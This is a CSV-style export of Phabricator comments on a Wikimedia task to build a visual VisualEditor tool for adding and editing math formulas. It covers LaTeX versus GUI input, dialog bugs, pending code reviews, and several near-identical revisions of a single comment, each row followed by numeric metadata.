+1495272,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula Help:Displaying a formula Wikipedia Help:Displaying a formula]
+
+[http://en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor.]
+
+
+  - I suggest Math Editor, a full visual math editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 
+
+
+  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition. See:** 
+https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/ . Just some ideas ;-)",,,1588368331,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+1495271,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula Help:Displaying a formula Wikipedia Help:Displaying a formula]
+
+[http://en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor.]
+
+
+  - I suggest Math Editor, a full visual math editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 
+
+
+  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition. See:** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588368277,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+1495266,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula Help:Displaying a formula Wikipedia Help:Displaying a formula]
+
+[http://en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor.]
+
+
+  - I suggest Math Editor, a full visual math editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 
+
+
+  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588368213,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+1495263,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula Help:Displaying a formula Wikipedia Help:Displaying a formula]
+
+[http://en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]
+
+
+  - I suggest Math Editor, a full visual math editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 
+
+
+  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588368120,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+1495262,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula Help:Displaying a formula Wikipedia Help:Displaying a formula]
+
+[http://en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]
+
+
+  - I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 
+
+
+  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588368041,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+1495261,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula Help:Displaying a formula Wikipedia Help:Displaying a formula]
+
+[http//en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]
+
+
+  - I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 
+
+
+  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588367857,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+1495260,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula_Help:Displaying a formula Wikipedia Help:Displaying a formula]
+
+[http//en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]
+
+
+  - I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 
+
+
+  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588367830,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+1495255,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula_Help:Displaying a formula Wikipedia Help:Displaying a formula]
+[http//en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]
+
+I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a calculator. If you put / in the visual box in your keyboard, it would put the wikitext: \frac . It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588367699,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+1495254,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying a formula Help:Displaying a formula]
+[http//en.wikipedia.org/wiki File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]
+
+I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a calculator. If you put / in the visual box in your keyboard, it would put the wikitext: \frac . It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588367619,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+1495253,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying a formula Help:Displaying a formula]
+[http//en.wikipedia.org/wiki File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]
+
+I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a calculator. If you put / in the visual box in your keyboard, it would put the wikitext: \frac . It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or math handwriting recognition [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588367587,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+493701,Create a visual VisualEditor plugin tool to add/edit maths blocks,I added a screenshot so that the task becomes easier to understand,,,1437349341,,PHID-USER-4sfm3grxdo6hnogm4iqe,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,106,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+493700,Create a visual VisualEditor plugin tool to add/edit maths blocks,"I was already wondering... yes when you wonder...there might be a good reason for that;-)
+Thanks for the clarification. So you mean something like
+http://saskatoon.cs.rit.edu/min_instructions/",,,1437349029,,PHID-USER-4sfm3grxdo6hnogm4iqe,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,106,,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0
+493697,Create a visual VisualEditor plugin tool to add/edit maths blocks,"No. By ""plain wikitext"" the filer means ""in LaTeX rather than visually"", hence the title of this task.",,,1437348608,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,106,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+493692,Create a visual VisualEditor plugin tool to add/edit maths blocks,"I tested
+
+```
+Math is unparsed but shown as plain wikitext: https://en.wikipedia.org/wiki/User:Raymond/Math
+```
+and i could edit without issues. I could see a renderd formula when visiting this page
+https://en.wikipedia.org/wiki/User:Raymond/Math?veaction=edit
+Ok it had the png rendering and not the MathML rendering, but I think this is a seperate bug.",,,1437347647,,PHID-USER-4sfm3grxdo6hnogm4iqe,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,106,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+391094,Create a visual VisualEditor plugin tool to add/edit maths blocks,">>! In T45058#932936, @matmarex wrote:
+> This has been fixed a looong time ago, or needs a better summary to explain what's missing.
+
+Happy?",,,1418933302,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,76,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,1,1,0,1,1,0,1
+390932,Create a visual VisualEditor plugin tool to add/edit maths blocks,"This has been fixed a looong time ago, or needs a better summary to explain what's missing.",,,1418920884,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,76,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0
+203967,Create a visual VisualEditor plugin tool to add/edit maths blocks,"**physik** wrote:
+
+I'm happy to see the interest in the Math extension.
+It would be really great to get some code reviews. There are a lot of unmerged improvements that are already implemented that wait for a code review.
+https://gerrit.wikimedia.org/r/#/q/status:open+project:mediawiki/extensions/Math,n,z
+The fromula editor for math is one example. The code for Math 2.0 that was finished in beginning of October 2013 is still waiting for review and not moving forward at all. That's really a very sad situation. (Sorry for the spamming)",,,1393519044,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,34,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+203962,Create a visual VisualEditor plugin tool to add/edit maths blocks,"(In reply to PiRSquared17 from comment #28)
+> I'm not sure we need to reinvent the wheel.  Aren't there already libre JS
+> formula editors that can export to LaTeX?  I just found one from Google:
+> http://mathdox.org/formulaeditor/
+
+Who is talking about re-inventing the wheel?",,,1393518234,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+203955,Create a visual VisualEditor plugin tool to add/edit maths blocks,I'm not sure we need to reinvent the wheel.  Aren't there already libre JS formula editors that can export to LaTeX?  I just found one from Google: http://mathdox.org/formulaeditor/,,,1393518034,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+203952,Create a visual VisualEditor plugin tool to add/edit maths blocks,"(In reply to Richard Morris from comment #26)
+> I hope the LaTeX editor is not going to be short term. This is the preferred
+> input method for the mathematical community. By all means develop a GUI but
+> please make sure you can still use a LaTeX input method.
+
++1",,,1393517762,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,34,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+203948,Create a visual VisualEditor plugin tool to add/edit maths blocks,I hope the LaTeX editor is not going to be short term. This is the preferred input method for the mathematical community. By all means develop a GUI but please make sure you can still use a LaTeX input method.,,,1392761006,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,33,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+203944,Create a visual VisualEditor plugin tool to add/edit maths blocks,*** Bug 61498 has been marked as a duplicate of this bug. ***,,,1392741898,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,33,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+203942,Create a visual VisualEditor plugin tool to add/edit maths blocks,"(In reply to Andre Klapper from comment #21)
+> It's a bit unclear to me which further steps are required to get this ticket
+> closed (probably creating dependency tickets for the items in comment 19?).
+
+No, the issues in comment 19 only refer to the short-term LaTeX editor. This bug is asking for a fully-featured visual interactive editor for formulae – will merge bug 61498 back into this.",,,1392741889,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,33,,0,0,1,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+203939,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Bug 57437 is to ""Allow the VE dialog for math elements to be movable and resizable"", which is already a blocker for this ticket. This assigned to a google code-in student, Theopolisme, who I suspect is no longer working on that bug.
+
+I've create bug 61497 to cover up the jumbled up formula in comment 16.
+
+I think Jiabao original plan was to create a GUI I've added a bug for this as bug 61498.
+
+Dialog overlapping the equation might be resolved by bug 57437 or it could possibly resolved by changing the way it is initially displayed.",,,1392740544,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,33,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+203936,Create a visual VisualEditor plugin tool to add/edit maths blocks,"**physik** wrote:
+
+From what I see
+https://gerrit.wikimedia.org/r/#/c/105647/ and
+https://gerrit.wikimedia.org/r/#/c/105648/
+need to be resolved before we can make progress on that.",,,1392739625,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,33,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+203933,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Seems that Jiabao is not currently working on this ticket, hence resetting ASSIGNED status. 
+It's a bit unclear to me which further steps are required to get this ticket closed (probably creating dependency tickets for the items in comment 19?).",,,1392729667,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,33,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+203926,Create a visual VisualEditor plugin tool to add/edit maths blocks,OK I've created bug 57437 for the tweaks to the dialog and assigned it to Theopolisme. Hope that OK.,,,1385146178,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+203921,Create a visual VisualEditor plugin tool to add/edit maths blocks,"There are different problems reported here, and we should have separate reports for each. Then we will tie each bug report to a Google Code-in task:
+
+* The dialog overlaps the equation: the solution might be a combination of setting a default position with less chances of overlapping and/or allowing the dialog to be moved to a different position?
+
+* The dialog is sometimes too small: the solution might be to make the dialog resizable?
+
+* #Comment 16 deserves an own bug report but, haven't tested this plugin myself, I can't describe the problem or propose solutions.
+
+Richard, would you like to create these reports?
+
+I'm going to pull http://www.google-melange.com/gci/task/view/google/gci2013/5861921152565248 in order to create 2 GCI tasks or more. Theopolisme, you can try to work on these issues now, or you can wait until the plan is more defined (and Jiabao is back, or we have found a co-mentor able to help you).",,,1385134282,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,20,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0
+203914,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Just a bit of background: Theopolisme is a Google Code-in student working on a task related to #comment 15 that was created by Jiabao:
+
+http://www.google-melange.com/gci/task/view/google/gci2013/5861921152565248
+
+Jiabao has been silent in the past days. Your help is welcome while she comes back. Thank you!",,,1385084439,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,20,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+203909,Create a visual VisualEditor plugin tool to add/edit maths blocks,"@Richard/others: Thinking about making the dialog draggable and resizable...
+
+The solution I initially think of is installing jquery.ui and then adding some parameters to OO.ui.Window that allow it to be made resizable and/or draggable. However, if I recall correctly one of the principles of OOJS was to be self-contained... so would this be wrong? Could someone else with a bit more firsthand experience chime in here?",,,1385074537,,PHID-USER-wgpse4towjiaqbzotzgo,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,20,,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0
+203903,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Also editing the last equation at https://www.mediawiki.org/wiki/VisualEditor:TestMath?veaction=edit
+
+if you actually make a change to the text of the equation the displayed equation becomes very jumbled. Any vertical positioning is lost, and text from different lines are overlaid on top of each other.
+
+This happens with Chrome on a Mac, I can't seem to edit equations at all with firefox or safari.",,,1382509541,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,16,,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
